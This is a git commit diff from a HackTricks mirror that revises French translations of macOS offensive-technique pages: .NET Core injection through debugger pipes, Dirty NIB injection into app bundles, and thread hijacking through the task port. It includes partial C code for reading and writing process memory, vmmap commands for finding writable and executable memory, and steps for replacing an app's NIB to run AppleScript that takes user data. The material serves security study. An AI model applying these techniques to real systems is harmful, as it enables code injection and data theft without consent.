mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
89d2b33e6b
commit
a7476f1f87
82 changed files with 2719 additions and 2599 deletions
|
@ -1,30 +1,31 @@
|
|||
# Injection d'applications .Net sur macOS
|
||||
# macOS .Net Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Il s'agit d'un résumé de l'article [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Consultez-le pour plus de détails !**
|
||||
**Ceci est un résumé du post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Consultez-le pour plus de détails !**
|
||||
|
||||
## Débogage .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
### **Établir une session de débogage** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
La gestion de la communication entre le débogueur et le débogué en .NET est gérée par [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ce composant met en place deux tubes nommés par processus .NET, comme on peut le voir dans [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), qui sont initiés via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ces tubes sont suffixés par **`-in`** et **`-out`**.
|
||||
La gestion de la communication entre le débogueur et le débogué dans .NET est gérée par [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ce composant met en place deux pipes nommés par processus .NET comme vu dans [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), qui sont initiés via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ces pipes sont suffixés par **`-in`** et **`-out`**.
|
||||
|
||||
En visitant le répertoire **`$TMPDIR`** de l'utilisateur, on peut trouver des FIFO de débogage disponibles pour le débogage des applications .Net.
|
||||
En visitant le **`$TMPDIR`** de l'utilisateur, on peut trouver des FIFOs de débogage disponibles pour le débogage des applications .Net.
|
||||
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) est responsable de la gestion de la communication depuis un débogueur. Pour initier une nouvelle session de débogage, un débogueur doit envoyer un message via le tube `out` commençant par une structure `MessageHeader`, détaillée dans le code source .NET :
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) est responsable de la gestion de la communication d'un débogueur. Pour initier une nouvelle session de débogage, un débogueur doit envoyer un message via le pipe `out` commençant par une structure `MessageHeader`, détaillée dans le code source .NET :
|
||||
```c
|
||||
struct MessageHeader {
|
||||
MessageType m_eType; // Message type
|
||||
|
@ -54,7 +55,7 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
|||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
Ce titre est ensuite envoyé à la cible en utilisant l'appel système `write`, suivi de la structure `sessionRequestData` contenant un GUID pour la session :
|
||||
Cet en-tête est ensuite envoyé à la cible en utilisant l'appel système `write`, suivi de la structure `sessionRequestData` contenant un GUID pour la session :
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
|
@ -65,7 +66,7 @@ Une opération de lecture sur le tuyau `out` confirme le succès ou l'échec de
|
|||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||
```
|
||||
## Lecture de la mémoire
|
||||
Une fois qu'une session de débogage est établie, la mémoire peut être lue en utilisant le type de message [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La fonction readMemory est détaillée, effectuant les étapes nécessaires pour envoyer une demande de lecture et récupérer la réponse :
|
||||
Une fois une session de débogage établie, la mémoire peut être lue en utilisant le [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) type de message. La fonction readMemory est détaillée, effectuant les étapes nécessaires pour envoyer une demande de lecture et récupérer la réponse :
|
||||
```c
|
||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||
// Allocation and initialization
|
||||
|
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
Le concept de preuve complet (POC) est disponible [ici](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
||||
La preuve de concept complète (POC) est disponible [ici](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
||||
|
||||
## Écriture en mémoire
|
||||
|
||||
De même, la mémoire peut être écrite en utilisant la fonction `writeMemory`. Le processus implique de définir le type de message sur `MT_WriteMemory`, de spécifier l'adresse et la longueur des données, puis d'envoyer les données :
|
||||
De même, la mémoire peut être écrite en utilisant la fonction `writeMemory`. Le processus consiste à définir le type de message sur `MT_WriteMemory`, à spécifier l'adresse et la longueur des données, puis à envoyer les données :
|
||||
```c
|
||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||
// Increment IDs, set message type, and specify memory location
|
||||
|
@ -95,18 +96,18 @@ return true;
|
|||
```
|
||||
Le POC associé est disponible [ici](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
||||
|
||||
## Exécution de code .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
## Exécution de Code .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
Pour exécuter du code, il est nécessaire d'identifier une région mémoire avec des permissions rwx, ce qui peut être fait en utilisant vmmap -pages:
|
||||
Pour exécuter du code, il faut identifier une région mémoire avec des permissions rwx, ce qui peut être fait en utilisant vmmap -pages :
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
Trouver un endroit pour écraser un pointeur de fonction est nécessaire, et dans .NET Core, cela peut être fait en ciblant la **Table de Fonctions Dynamiques (DFT)**. Cette table, détaillée dans [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), est utilisée par le runtime pour les fonctions d'aide à la compilation JIT.
|
||||
Localiser un endroit pour écraser un pointeur de fonction est nécessaire, et dans .NET Core, cela peut être fait en ciblant la **Dynamic Function Table (DFT)**. Cette table, détaillée dans [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), est utilisée par le runtime pour les fonctions d'assistance à la compilation JIT.
|
||||
|
||||
Pour les systèmes x64, la chasse aux signatures peut être utilisée pour trouver une référence au symbole `_hlpDynamicFuncTable` dans `libcorclr.dll`.
|
||||
Pour les systèmes x64, la recherche de signature peut être utilisée pour trouver une référence au symbole `_hlpDynamicFuncTable` dans `libcorclr.dll`.
|
||||
|
||||
La fonction de débogage `MT_GetDCB` fournit des informations utiles, y compris l'adresse d'une fonction d'aide, `m_helperRemoteStartAddr`, indiquant l'emplacement de `libcorclr.dll` dans la mémoire du processus. Cette adresse est ensuite utilisée pour démarrer une recherche de la DFT et écraser un pointeur de fonction avec l'adresse du shellcode.
|
||||
La fonction de débogage `MT_GetDCB` fournit des informations utiles, y compris l'adresse d'une fonction d'assistance, `m_helperRemoteStartAddr`, indiquant l'emplacement de `libcorclr.dll` dans la mémoire du processus. Cette adresse est ensuite utilisée pour commencer une recherche pour la DFT et écraser un pointeur de fonction avec l'adresse du shellcode.
|
||||
|
||||
Le code POC complet pour l'injection dans PowerShell est accessible [ici](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
||||
|
||||
|
@ -114,16 +115,17 @@ Le code POC complet pour l'injection dans PowerShell est accessible [ici](https:
|
|||
|
||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,88 @@
|
|||
# macOS Dirty NIB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Pour plus de détails sur la technique, consultez l'article original sur : [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Voici un résumé :
|
||||
**Pour plus de détails sur la technique, consultez le post original à : [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Voici un résumé :
|
||||
|
||||
Les fichiers NIB, faisant partie de l'écosystème de développement d'Apple, sont destinés à définir les **éléments d'interface utilisateur** et leurs interactions dans les applications. Ils englobent des objets sérialisés tels que des fenêtres et des boutons, et sont chargés à l'exécution. Malgré leur utilisation continue, Apple préconise désormais l'utilisation de Storyboards pour une visualisation plus complète du flux d'interface utilisateur.
|
||||
Les fichiers NIB, faisant partie de l'écosystème de développement d'Apple, sont destinés à définir **des éléments d'interface utilisateur** et leurs interactions dans les applications. Ils englobent des objets sérialisés tels que des fenêtres et des boutons, et sont chargés à l'exécution. Malgré leur utilisation continue, Apple préconise désormais les Storyboards pour une visualisation plus complète du flux d'interface utilisateur.
|
||||
|
||||
### Problèmes de sécurité avec les fichiers NIB
|
||||
Il est crucial de noter que les **fichiers NIB peuvent représenter un risque de sécurité**. Ils ont le potentiel d'**exécuter des commandes arbitraires**, et les modifications apportées aux fichiers NIB dans une application n'empêchent pas Gatekeeper d'exécuter l'application, ce qui constitue une menace significative.
|
||||
Il est crucial de noter que **les fichiers NIB peuvent représenter un risque de sécurité**. Ils ont le potentiel d'**exécuter des commandes arbitraires**, et les modifications apportées aux fichiers NIB dans une application n'empêchent pas Gatekeeper d'exécuter l'application, posant une menace significative.
|
||||
|
||||
### Processus d'injection Dirty NIB
|
||||
### Processus d'injection de Dirty NIB
|
||||
#### Création et configuration d'un fichier NIB
|
||||
1. **Configuration initiale** :
|
||||
- Créer un nouveau fichier NIB à l'aide de XCode.
|
||||
- Ajouter un objet à l'interface, en définissant sa classe sur `NSAppleScript`.
|
||||
- Configurer la propriété initiale `source` via les attributs d'exécution définis par l'utilisateur.
|
||||
- Créez un nouveau fichier NIB à l'aide de XCode.
|
||||
- Ajoutez un objet à l'interface, en définissant sa classe sur `NSAppleScript`.
|
||||
- Configurez la propriété `source` initiale via les attributs d'exécution définis par l'utilisateur.
|
||||
|
||||
2. **Gadget d'exécution de code** :
|
||||
- La configuration facilite l'exécution d'AppleScript à la demande.
|
||||
- Intégrer un bouton pour activer l'objet `Apple Script`, déclenchant spécifiquement le sélecteur `executeAndReturnError:`.
|
||||
- La configuration facilite l'exécution d'AppleScript à la demande.
|
||||
- Intégrez un bouton pour activer l'objet `Apple Script`, déclenchant spécifiquement le sélecteur `executeAndReturnError:`.
|
||||
|
||||
3. **Test** :
|
||||
- Un simple Apple Script à des fins de test :
|
||||
```bash
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
- Tester en exécutant dans le débogueur XCode et en cliquant sur le bouton.
|
||||
- Un simple Apple Script à des fins de test :
|
||||
```bash
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
- Testez en exécutant dans le débogueur XCode et en cliquant sur le bouton.
|
||||
|
||||
#### Ciblage d'une application (Exemple : Pages)
|
||||
1. **Préparation** :
|
||||
- Copier l'application cible (par exemple, Pages) dans un répertoire séparé (par exemple, `/tmp/`).
|
||||
- Lancer l'application pour contourner les problèmes de Gatekeeper et la mettre en cache.
|
||||
- Copiez l'application cible (par exemple, Pages) dans un répertoire séparé (par exemple, `/tmp/`).
|
||||
- Lancez l'application pour contourner les problèmes de Gatekeeper et la mettre en cache.
|
||||
|
||||
2. **Remplacement du fichier NIB** :
|
||||
- Remplacer un fichier NIB existant (par exemple, le NIB du panneau À propos) par le fichier DirtyNIB créé.
|
||||
2. **Écrasement du fichier NIB** :
|
||||
- Remplacez un fichier NIB existant (par exemple, le NIB du panneau À propos) par le fichier DirtyNIB créé.
|
||||
|
||||
3. **Exécution** :
|
||||
- Déclencher l'exécution en interagissant avec l'application (par exemple, en sélectionnant l'élément de menu `À propos`).
|
||||
- Déclenchez l'exécution en interagissant avec l'application (par exemple, en sélectionnant l'élément de menu `À propos`).
|
||||
|
||||
#### Preuve de concept : Accès aux données utilisateur
|
||||
- Modifier l'AppleScript pour accéder et extraire des données utilisateur, telles que des photos, sans le consentement de l'utilisateur.
|
||||
- Modifiez l'AppleScript pour accéder et extraire des données utilisateur, telles que des photos, sans le consentement de l'utilisateur.
|
||||
|
||||
### Exemple de code : Fichier .xib malveillant
|
||||
- Accéder et examiner un [**exemple de fichier .xib malveillant**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) qui démontre l'exécution de code arbitraire.
|
||||
- Accédez et examinez un [**exemple de fichier .xib malveillant**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) qui démontre l'exécution de code arbitraire.
|
||||
|
||||
### Traitement des contraintes de lancement
|
||||
- Les contraintes de lancement empêchent l'exécution de l'application à partir d'emplacements inattendus (par exemple, `/tmp`).
|
||||
- Il est possible d'identifier les applications non protégées par les contraintes de lancement et de les cibler pour l'injection de fichiers NIB.
|
||||
### Gestion des contraintes de lancement
|
||||
- Les contraintes de lancement entravent l'exécution des applications depuis des emplacements inattendus (par exemple, `/tmp`).
|
||||
- Il est possible d'identifier les applications non protégées par des contraintes de lancement et de les cibler pour l'injection de fichiers NIB.
|
||||
|
||||
### Protections supplémentaires macOS
|
||||
À partir de macOS Sonoma, les modifications à l'intérieur des bundles d'applications sont restreintes. Cependant, les méthodes antérieures impliquaient :
|
||||
1. Copier l'application dans un emplacement différent (par exemple, `/tmp/`).
|
||||
2. Renommer les répertoires à l'intérieur du bundle de l'application pour contourner les protections initiales.
|
||||
### Protections supplémentaires de macOS
|
||||
Depuis macOS Sonoma, les modifications à l'intérieur des bundles d'applications sont restreintes. Cependant, les méthodes antérieures impliquaient :
|
||||
1. Copier l'application à un autre emplacement (par exemple, `/tmp/`).
|
||||
2. Renommer des répertoires au sein du bundle de l'application pour contourner les protections initiales.
|
||||
3. Après avoir exécuté l'application pour s'enregistrer auprès de Gatekeeper, modifier le bundle de l'application (par exemple, remplacer MainMenu.nib par Dirty.nib).
|
||||
4. Renommer les répertoires et relancer l'application pour exécuter le fichier NIB injecté.
|
||||
|
||||
**Remarque** : Les récentes mises à jour de macOS ont atténué cette faille en empêchant les modifications de fichiers à l'intérieur des bundles d'applications après la mise en cache par Gatekeeper, rendant l'exploit inefficace.
|
||||
**Remarque** : Les mises à jour récentes de macOS ont atténué cette exploitation en empêchant les modifications de fichiers au sein des bundles d'applications après la mise en cache de Gatekeeper, rendant l'exploitation inefficace.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Injection de thread macOS via le port de tâche
|
||||
# macOS Injection de Thread via le port de tâche
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Code
|
||||
|
||||
|
@ -20,43 +21,43 @@ Autres façons de soutenir HackTricks :
|
|||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||
|
||||
|
||||
## 1. Détournement de thread
|
||||
## 1. Détournement de Thread
|
||||
|
||||
Initialement, la fonction **`task_threads()`** est invoquée sur le port de tâche pour obtenir une liste de threads de la tâche distante. Un thread est sélectionné pour le détournement. Cette approche diverge des méthodes d'injection de code conventionnelles car la création d'un nouveau thread distant est interdite en raison du nouveau blocage de la mitigation `thread_create_running()`.
|
||||
Initialement, la fonction **`task_threads()`** est invoquée sur le port de tâche pour obtenir une liste de threads de la tâche distante. Un thread est sélectionné pour le détournement. Cette approche diverge des méthodes d'injection de code conventionnelles, car la création d'un nouveau thread distant est interdite en raison de la nouvelle atténuation bloquant `thread_create_running()`.
|
||||
|
||||
Pour contrôler le thread, **`thread_suspend()`** est appelé, interrompant son exécution.
|
||||
Pour contrôler le thread, **`thread_suspend()`** est appelé, arrêtant son exécution.
|
||||
|
||||
Les seules opérations autorisées sur le thread distant impliquent de **l'arrêter** et de le **démarrer**, de **récupérer** et de **modifier** ses valeurs de registre. Des appels de fonction distants sont initiés en définissant les registres `x0` à `x7` sur les **arguments**, en configurant **`pc`** pour cibler la fonction désirée, et en activant le thread. Assurer que le thread ne plante pas après le retour nécessite la détection du retour.
|
||||
Les seules opérations autorisées sur le thread distant impliquent **l'arrêt** et **le démarrage** de celui-ci, **la récupération** et **la modification** de ses valeurs de registre. Les appels de fonction distants sont initiés en définissant les registres `x0` à `x7` sur les **arguments**, configurant **`pc`** pour cibler la fonction souhaitée, et en activant le thread. S'assurer que le thread ne plante pas après le retour nécessite de détecter le retour.
|
||||
|
||||
